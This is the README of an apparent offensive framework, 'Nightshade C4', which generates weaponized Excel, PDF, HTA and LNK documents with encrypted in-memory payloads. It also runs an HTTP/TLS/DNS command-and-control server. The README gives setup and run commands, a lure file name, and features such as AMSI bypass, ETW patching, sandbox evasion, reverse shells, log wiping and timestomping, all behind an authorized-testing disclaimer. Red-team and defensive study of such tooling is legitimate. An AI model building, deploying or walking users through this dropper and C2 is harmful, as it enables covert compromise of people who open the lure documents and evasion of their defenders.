(Project_Nightshade upgrade xox)
Document Dropper and C2 Framework.
by: ek0ms savi0r
Nightshade C4 generates weaponized documents (Excel, PDF, HTA, LNK) that deploy multi-stage, in-memory payloads with encrypted C2 communication, sandbox evasion, AMSI bypass, ETW patching, and anti-forensic countermeasures.
The framework consists of two components: a document generator and a C2 server. Documents are distributed to target systems; the C2 server manages implant sessions, queues commands, and collects results.
For authorized security testing and Educational Purposes only.
| Type | Technique | Trigger | Persistence Required |
|---|---|---|---|
| Excel (.xlsx) | OLE Template Injection | User clicks "Enable Content" | No |
| PDF (.pdf) | OpenAction JavaScript | Document opens | No |
| HTA (.hta) | VBScript/JS execution | Document opens | No |
| LNK (.lnk) | Shortcut + obfuscated PowerShell | User double-clicks | No |
git clone https://github.com/ekomsSavior/nightshadeRANGER.git
cd nightshadeRANGER
pip install -r requirements.txt
For TLS support, the cryptography library is required (included in requirements.txt).
For tunnel-based delivery:
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar -xzf ngrok-v3-stable-linux-amd64.tgz
sudo mv ngrok /usr/local/bin/
ngrok config add-authtoken YOUR_AUTHTOKEN_HERE
python3 nightshade.py generate
Walks through a wizard to configure:
- Encryption key (auto-generated or custom)
- Payload tier (1-3)
- C2 address and port
- Document type (xlsx, pdf, hta, lnk)
- Delivery method (ngrok, domain rotation, custom domain)
- Multi-stage payload toggle
- Anti-forensics options (self-delete, timestomping, MotW stripping, log wiping)
python3 nightshade.py generate --headless --config config.yaml
Environment variables can also be used:
NIGHTSHADE_KEY="your-key" \
NIGHTSHADE_C2_URL="http://your-server:8080" \
NIGHTSHADE_TIER="2" \
NIGHTSHADE_DOC="xlsx" \
NIGHTSHADE_OUTPUT="Q3_Financials.xlsx" \
python3 nightshade.py generate --headless
# HTTP (default port 8080)
python3 nightshade.py serve
# HTTPS with TLS
python3 nightshade.py serve --tls --port 443
# Custom port
python3 nightshade.py serve --port 8080 --host 0.0.0.0
# With a specific encryption key
python3 nightshade.py serve --key "your-encryption-key"
When the server starts, it listens for:
- Template requests from documents (GET /template.ole)
- Implant check-ins (POST /c2/checkin)
- Command results (POST /c2/result)
- Administrative commands (POST /c2/command)
The server console provides interactive commands:
- sessions - List active implant sessions
- cmd <session_id> <command> - Queue a command for a specific session
- interact <session_id> - Open an interactive shell with a session
- history - View command history
- export - Export task results as CSV
- stats - Show server statistics
- help - Show available commands
- quit - Stop the server
python3 nightshade.py dns --domain c2.example.com --port 53
The DNS C2 handler encodes commands as subdomain queries. Implants resolve A/AAAA records for check-ins and receive commands via TXT record responses. This requires a nameserver that the target can resolve queries against.
DNS C2 console commands:
- sessions - List active DNS sessions
- cmd <session_id> <command> - Queue a command for a session
- results <session_id> - View session results
- quit - Stop the listener
# Create a default config
python3 nightshade.py config --init
# View current config
python3 nightshade.py config --show
Example config.yaml:
c2_url: "http://127.0.0.1:8080"
lhost: "127.0.0.1"
lport: 4444
tier: 2
doc_type: "xlsx"
output: "nightshade_output.xlsx"
template_url: ""
multi_stage: true
dns_c2: false
dns_domain: "dns-c2.local"
key: ""
# Generate a new certificate
python3 nightshade.py cert --generate --common-name nightshade-c2.local --campaign default
# List existing certificates
python3 nightshade.py cert --list
# Custom key size and validity
python3 nightshade.py cert --generate --key-size 4096 --validity 730
Certificates are stored in the certs/ directory and auto-loaded when starting the server with --tls.
The document contains a compressed, encrypted PowerShell payload. When the template loads, it decrypts and executes the payload directly.
The document contains a minimal Stage 0 beacon. The payload is delivered in three stages to reduce document footprint and evade static analysis.
Direct TCP connection back to the C2 server. Best for immediate interactive access.
HTTPS beacon that checks in for commands and posts results. Best for stealthy command execution.
Maximum capability implant with redundant persistence.
When a multi-stage payload executes, the following evasion sequence runs on the target system (not the operator's machine):
| Endpoint | Method | Description |
|---|---|---|
| /template.ole | GET | Serve dropper template (validates User-Agent) |
| /c2/checkin | POST | Implant beacon (encrypted) |
| /c2/result | POST | Task result callback (encrypted) |
| /c2/command | POST | Submit command to session |
| /c2/sessions | GET | List active sessions |
| /c2/tasks | GET | View task queue (optional ?session_id=) |
| /c2/history | GET | Task history (supports ?format=csv) |
| /admin/stats | GET | Server statistics |
| /stage0/ |
GET | Stage 1 payload delivery endpoint |
Sessions are tracked server-side with:
- Unique session ID generated per campaign
- IP address, hostname, and username of the implant
- Check-in count and timestamp
- Status (active/expired)
Commands are queued per-session. Each implant receives one command per check-in. Results are associated with the originating session and stored in the SQLite database.
+-----------------------+
| Nightshade C4 C2 |
| Server (Flask) |
| :8080 (HTTP/TLS) |
+-----------+-----------+
|
+---------------------+----------------------+
| | |
v v v
+-----------+ +-------------+ +-----------+
| Staging | | C2 Beacon | | Reverse |
| :8080 | | :8080/c2/* | | Shell |
| /template| | endpoints | | :4444 |
+-----+----+ +------+------+ +-----+-----+
| | |
v v v
Documents Implants TCP Shells
(xlsx/pdf/ (HTTP) (raw TCP)
hta/lnk)
+-------------------------------------------------------+
| DNS C2 Handler (:53/udp) |
| Subdomain-encoded check-in + commands |
+-------------------------------------------------------+
// click a file to view source